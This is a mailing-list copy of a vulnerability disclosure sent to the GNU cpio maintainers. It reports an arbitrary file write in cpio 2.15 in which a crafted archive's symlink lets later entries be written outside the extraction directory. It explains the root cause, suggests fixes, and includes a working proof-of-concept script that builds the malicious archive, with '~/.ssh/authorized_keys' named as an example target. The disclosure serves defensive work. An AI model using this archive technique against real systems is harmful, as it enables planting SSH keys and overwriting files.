The attachment is below

On Thu, Apr 23, 2026 at 2:03 PM wei ziqi <[email protected]> wrote:

> Dear GNU cpio maintainer:
> Hello, I have identified a vulnerability in GNU cpio 2.15(latest on
> 23/04/2026), which allows a malicious attacker to create a symlink that
> points outside the extraction root and then extract a regular file
> underneath that symlink. This is aligned with CWE-22.
>
> The attachment contains the vulnerability details, including information,
> a proof of concept, and impacts. You may also view the plain text version
> as below.
>
> -----------------------------------------------------
> Below is the markdown version of the vulnerability
> -----------------------------------------------------
> # GNU cpio 2.15 — Arbitrary File Write via Archive-Created Symlink Parent
>
> GNU cpio extraction can be turned into an out-of-tree write primitive even
> when archive member names look harmless: a crafted archive can first create
> a symlink that points outside the extraction root and then extract a
> regular file underneath that symlink.
>
> One realistic attack scenario is a “malicious firmware / initramfs bundle”
> (or any automated unpacking pipeline) that unpacks an attacker-provided
> cpio archive into a staging directory:
>
> ```
> pipeline/
> |-- stage/                (victim-chosen extraction dir)
> |-- rootfs.cpio           (attacker-controlled archive)
> ```
>
> Victim workflow:
>
> 1. Victim runs: `cd stage && cpio -id < ../rootfs.cpio`
> 2. The archive contains a symlink entry like `link -> ~/.ssh/` and a
> normal file entry like `link/authorized_keys`, so extraction writes
> **outside** `stage/` into `~/.ssh/authorized_keys` (within the victim’s
> permissions).
>
> ## 0. Environment
>
> - Target: `cpio` (GNU cpio copy-in mode: `cpio -id`)
> - Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz`
> (sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
> - Build (from repository root):
>
> ```bash
> WORK=/tmp/unpfuzz-cpio-2.15
> rm -rf "$WORK"
> mkdir -p "$WORK"
> tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
> cd "$WORK"/cpio-2.15
> mkdir -p build && cd build
> ../configure --disable-nls CFLAGS='-O2 -g -fcommon'
> make -j"$(nproc)"
> ```
>
> - Binary: `cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)
>
> ## 1. Description
>
> GNU cpio extraction sanitizes archive member names, but it does not apply
> the same containment checks to symlink targets before creating symlinks on
> disk.
>
> An archive can first create a symlink inside the extraction directory that
> points outside the extraction root. A later regular-file entry whose
> pathname uses that symlink as a parent is opened by the kernel through the
> symlink, causing a write outside the intended extraction directory.
>
> This behavior was **reproduced on GNU cpio 2.15** (from
> `cpio-latest.tar.gz`, sha256
> `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`) using
> the default extract path (`cpio -id`).
>
> Relevant code:
>
> - `src/copyin.c:1486` — archive member names are normalized with
> `cpio_safer_name_suffix(...)`.
> - `src/copyin.c:110-126` — symlink target bytes are read from the archive
> payload in `get_link_name(...)`.
> - `src/copyin.c:792-816` — symlinks are created with
> `UMASKED_SYMLINK(link_name, file_hdr->c_name, ...)` when
> `--absolute-filenames` is in effect.
> - `src/copyin.c:664-765` — the `--no-absolute-filenames` mitigation defers
> symlinks via `symlink_placeholder(...)` /
> `replace_symlink_placeholders(...)`.
> - `src/copyin.c:476-484` — later regular files are opened with
> `open(file_hdr->c_name, O_CREAT | O_WRONLY | O_BINARY, 0600)`.
>
> ## 2. Impact
>
> An attacker who can supply a cpio archive can write files outside the
> extraction directory selected by the victim.
>
> Practical impact includes:
>
> - creating or overwriting files adjacent to the extraction root;
> - planting files in user-writable configuration directories;
> - escalating impact if the extractor runs with elevated privileges or
> inside an automated firmware/package unpacking pipeline.
>
> ## 3. Reason / Root Cause
>
> The extractor treats symlink targets as inert payload data, but subsequent
> filesystem operations resolve paths through those symlinks.
>
> The entry name `link` is confined, but the symlink target `../outside` is
> not rejected. When a later entry named `link/pwn.txt` is extracted,
> `open(2)` follows the existing `link` symlink and writes to
> `../outside/pwn.txt`.
>
> The root cause is missing path-resolution containment at the
> filesystem-operation layer. String-level member-name sanitization is not
> sufficient once symlinks exist in the output tree.
>
> ## 4. Proof-of-Concept
>
> ### 4.1 PoC file
>
> - Runner: `poc.sh`
>
> ### 4.2 What the PoC does
>
> The PoC:
>
> 1. Creates a `newc` cpio archive in `/tmp`.
> 2. Adds a symlink entry: `link -> ../outside`.
> 3. Adds a regular-file entry: `link/pwn.txt`.
> 4. Extracts inside `/tmp/unpfuzz_cpio_poc/out`.
> 5. Verifies that `/tmp/unpfuzz_cpio_poc/outside/pwn.txt` is created.
>
> ### 4.3 Expected result
>
> Successful exploitation creates:
>
> - `/tmp/unpfuzz_cpio_poc/outside/pwn.txt`
>
> instead of keeping all extracted files under:
>
> - `/tmp/unpfuzz_cpio_poc/out/`
>
> ## 5. Fix Recommendations
>
> 1. Reject symlink targets that are absolute or that escape the extraction
> root after resolution.
> 2. Before opening a regular file, walk parent components relative to a
> trusted extraction-root file descriptor and reject symlink components
> unless explicitly allowed.
> 3. Prefer `openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)` where
> available, or implement equivalent `openat` + `lstat` path walking.
> 4. Treat symlink creation followed by later writes through the symlink as
> a regression-test pattern.
> 5. Add tests for `link -> ../outside` followed by `link/file`, nested
> symlink chains, and hardlink analogues.
>
> ## 6. Reproduction
>
> From the repository root:
>
> ```shell
> CPIO_BIN=/path/to/cpio ./poc.sh
> ```
>
> The poc.sh is as below
> ```shell
> #!/usr/bin/env bash
> set -euo pipefail
>
> CPIO_BIN=${CPIO_BIN:-cpio}
>
> if [[ "$CPIO_BIN" == */* ]]; then
>   if [[ ! -x "$CPIO_BIN" ]]; then
>     echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
>     exit 1
>   fi
> else
>   if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
>     echo "error: cpio is required" >&2
>     exit 1
>   fi
> fi
>
> base=/tmp/unpfuzz_cpio_poc
> rm -rf "$base"
> mkdir -p "$base/out" "$base/outside"
>
> python3 - <<'PY'
> import time
>
> base = "/tmp/unpfuzz_cpio_poc"
> hdr_len = 110
>
> def entry(name, mode, data=b"", ino=1, nlink=1):
>     name_bytes = name.encode() + b"\0"
>     namesz = len(name_bytes)
>     fields = [
>         ino,
>         mode,
>         1000,
>         1000,
>         nlink,
>         int(time.time()),
>         len(data),
>         0,
>         0,
>         0,
>         0,
>         namesz,
>         0,
>     ]
>     header = ("070701" + "".join(f"{value:08x}" for value in
> fields)).encode()
>     name_pad = b"\0" * ((4 - ((hdr_len + namesz) % 4)) % 4)
>     data_pad = b"\0" * ((4 - (len(data) % 4)) % 4)
>     return header + name_bytes + name_pad + data + data_pad
>
> archive = b"".join([
>     entry("link", 0o120777, b"../outside", 2),
>     entry("link/pwn.txt", 0o100600, b"CPIO_ESCAPE\n", 3),
>     entry("TRAILER!!!", 0, b"", 4),
> ])
>
> open(base + "/symlink_escape.cpio", "wb").write(archive)
> PY
>
> (cd "$base/out" && "$CPIO_BIN" -id --quiet < "$base/symlink_escape.cpio")
>
> if [[ ! -f "$base/outside/pwn.txt" ]]; then
>   echo "[-] exploit failed: outside file was not created" >&2
>   find "$base" -maxdepth 3 -ls >&2
>   exit 1
> fi
>
> echo "[+] created outside extraction root: $base/outside/pwn.txt"
> cat "$base/outside/pwn.txt"
>
> ```
>
>

Attachment: DETAIL-1.pdf
Description: Adobe PDF document

Reply via email to